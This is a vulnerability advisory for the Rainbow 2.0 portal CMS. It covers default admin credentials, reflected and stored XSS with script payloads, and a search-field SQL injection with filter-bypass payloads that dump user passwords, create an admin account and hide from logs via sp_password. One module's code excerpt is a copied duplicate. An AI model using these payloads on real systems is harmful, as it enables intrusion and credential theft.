Abysssec Research

1) Advisory information

Title	**: Rainbowportal Multiple Remote Vulnerabilities**
Version	**: Rainbow 2.0 Production/Stable (2.0.0.1881e) VS 2005 | VS 2008 .NET 2.0-3.5**
Discovery	**: http://www.abysssec.com**
Vendor	**: http://www.rainbowportal.net**
Impact	**: Ciritical**
Contact	**: shahin [at] abysssec.com , info [at] abysssec.com**
Twitter	**: @abysssec**

2) Vulnerability Information

Class

1- Login Weakness

2- Non-persistent XSS

3- Persistent XSS

4- SQL Injection

Impact

A successful exploit can allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- Login Weakness:

You can Login to Rainbow with two ways:

1- Insert Email and Password

2- Insert UserID and Password

By default, the Rainbow Admin can login (with no encryption) to the CMS with: UserID=1, Password=Admin

Therefore, maybe you can login to Rainbow with 1 and Admin.

Vulnerable Code:

in ../Rainbow/Security/Security.cs

In 473: usr = accountSystem.Login(uid, password, portalSettings.PortalID);

2- Non-persistent XSS Vulnerabilities:

In these URLs, you can see the non-persistent XSS Vulnerabilities:

http://Example.com/app_support/FCK.filemanager/imagegallery.aspx?1&"><script>alert(document.cookie)</script>

(this page just accessible for Admin)

http://Example.com/aspnet_client/ELB/ELB_arrowButton.aspx?ctlID=0&chunkSize=200000000000002&hashCode=20&filterValue=<script>alert(123)</script>&filterType=20

(this page accessible for All users)

Reason: the number: 200000000000002 is not an Int value. As a result, an Error Occurred.

At instances where you can create an error in the CMS, you can create an XSS with Error Page.

3-Persistent XSS Vulnerabilities:

In these modules, you can find persistent XSS that data saves with no sanitization:

1- Module name: MileStones

Fields : Title, Status

Access URL:

http://Example.com/DesktopModules/MileStones/MilestonesEdit.aspx?tabID=0&ItemID=1&Mid=2833

Vulnerable Code:

In ../Rainbow/DesktopModules/Milestones/MilestonesEdit.aspx.cs

In 108: milestonesDb.AddMilestones(ItemID, ModuleID, PortalSettings.CurrentUser.Identity.Email,

DateTime.Now, TitleField.Text, DateTime.Parse(EstCompleteDate.Text), StatusBox.Text);

2- Module name: Contacts

Fields : Name, Role, Office, Mobile, Fax, Address

Access URL:

http://Example.com/DesktopModules/Contacts/ContactsEdit.aspx?tabID=181&ItemID=1&mid=2837

Vulnerable Code:

In ../Rainbow/DesktopModules/Contacts/ContactsEdit.aspx.cs

ln 195: contacts.AddContact(ModuleID, ItemID, PortalSettings.CurrentUser.Identity.Email, NameField.Text, RoleField.Text, EmailField.Text, Contact1Field.Text, Contact2Field.Text, FaxField.Text, AddressField.Text);

3- Module name: Blog

Fields : Title, Name, Comments

Access URL:

http://Example.com/DesktopModules/Blog/BlogView.aspx?tabID=181&ItemID=1&mid=2824

Vulnerable Code:

In ../Rainbow/DesktopModules/Blog/BlogView.aspx.cs

ln 133: blogDB.AddBlogComment(ModuleID, ItemID, this.txtName.Text, this.txtTitle.Text, this.txtURL.Text, this.txtComments.Text);

4- Module name: Announcements

Field: Title

Access URL:

http://Example.com/DesktopModules/Announcements/AnnouncementsEdit.aspx?tabID=181&mID=2823

In ../Rainbow/DesktopModules/Announcements/AnnouncementsEdit.aspx.cs

ln 213: announcementDB.AddAnnouncement(ModuleID, ItemID, PortalSettings.CurrentUser.Identity.Email, TitleField.Text, DateTime.Parse(ExpireField.Text),DesktopText.Text, MoreLinkField.Text, MobileMoreField.Text);

5- Module name: EnhancedLinks

Fields : Title, Description

Access URL:

http://Example.com/DesktopModules/EnhancedLinks/EnhancedLinksEdit.aspx?tabID=181&mID=2820

Vulnerable Code:

In ../Rainbow/DesktopModules/EnhancedLinks/EnhancedLinksEdit.aspx.cs

ln 151: enhancedLinks.AddEnhancedLink(ModuleID, ItemID, PortalSettings.CurrentUser.Identity.Email, TitleField.Text, UrlField.Text, MobileUrlField.Text, Int32.Parse(ViewOrderField.Text), DescriptionField.Text, Src.Text, 0, TargetField.SelectedItem.Text);

6- Module name: Documents

Fields : Filename, Category

Access URL:

http://Example.com/DesktopModules/Documents/DocumentsEdit.aspx?tabID=0&ItemID=1&mid=2841

Vulnerable Code:

In ../Rainbow/DesktopModules/EnhancedLinks/EnhancedLinksEdit.aspx.cs

ln 151: enhancedLinks.AddEnhancedLink(ModuleID, ItemID, PortalSettings.CurrentUser.Identity.Email, TitleField.Text, UrlField.Text, MobileUrlField.Text, Int32.Parse(ViewOrderField.Text), DescriptionField.Text, Src.Text, 0, TargetField.SelectedItem.Text);

4- SQL Injection Vulnerability:

This vulnerability exists in the (Search Site - via DB) module.

In the Rainbow.Helpers.SearchDefinition class (../Rainbow/Helpers/SearchDefinition.cs) and in the SearchSqlSelect() function (ln 328), the body of query builds in the FilterString(searchStr) function (ln 305) and some words and letters blocks. Words like "select","char", "--", "'", ";" , etc . But no filter exist for "Union","Execute" , "sp_" , etc.

Techniques that we use to bypass filtering are listed below:

1- A keyword "AddExtraSQL:" is used in the query that allows you to create any query you prefer. This is inborn logic of the program. (ln 344)

2- To bypass ";" , "select" and "--" filtering , we use "s;e;l;e;c;t" and ";-;-".

3- The input value that you entered must be one expression but without any spaces, so we use "//" instead of space.**

4- Instead of a Date value we use "1/1/1900"

5- Instead of a unique identifier value, we use the NEWID() method that was built in to SqlServer.

6- To evade logging, We use "sp_password" in query.

As a result, you can input a value to bypass filters and access critical information from the database :

AddExtraSQL:1=1//Union/**/s;e;l;e;c;t/**/user,@@version,user,1,2,user,1/1/1900,3,user,NEWID(),user;-;-/**/sp_password**

After that, the results will be shown in DataGrid in the page.

With another value, we can retrieve the information of users:

AddExtraSQL:1=1//Union/**/s;e;l;e;c;t/**/Name,Password,Email,UserID,2,Salt,1/1/1900,3,user,NEWID(),user/**/f;r;o;m/**/rb_users;-;-/**/sp_password**

The Email value is in the Abstract column and the Password is in the Title column. You can login to Rainbow with these values.

With another value like this, we can add an Admin user to the CMS with "rb_AddUser" stored procedure:

AddExtraSQL:1=1//execute/**/dbo.rb_AddUser/**/0,"admin2","admin2@yahoo.com","admin2",null,null;-;-/**/sp_password**

To gain better results, while searching, you can just select "Announcements" from the Module ComboBox.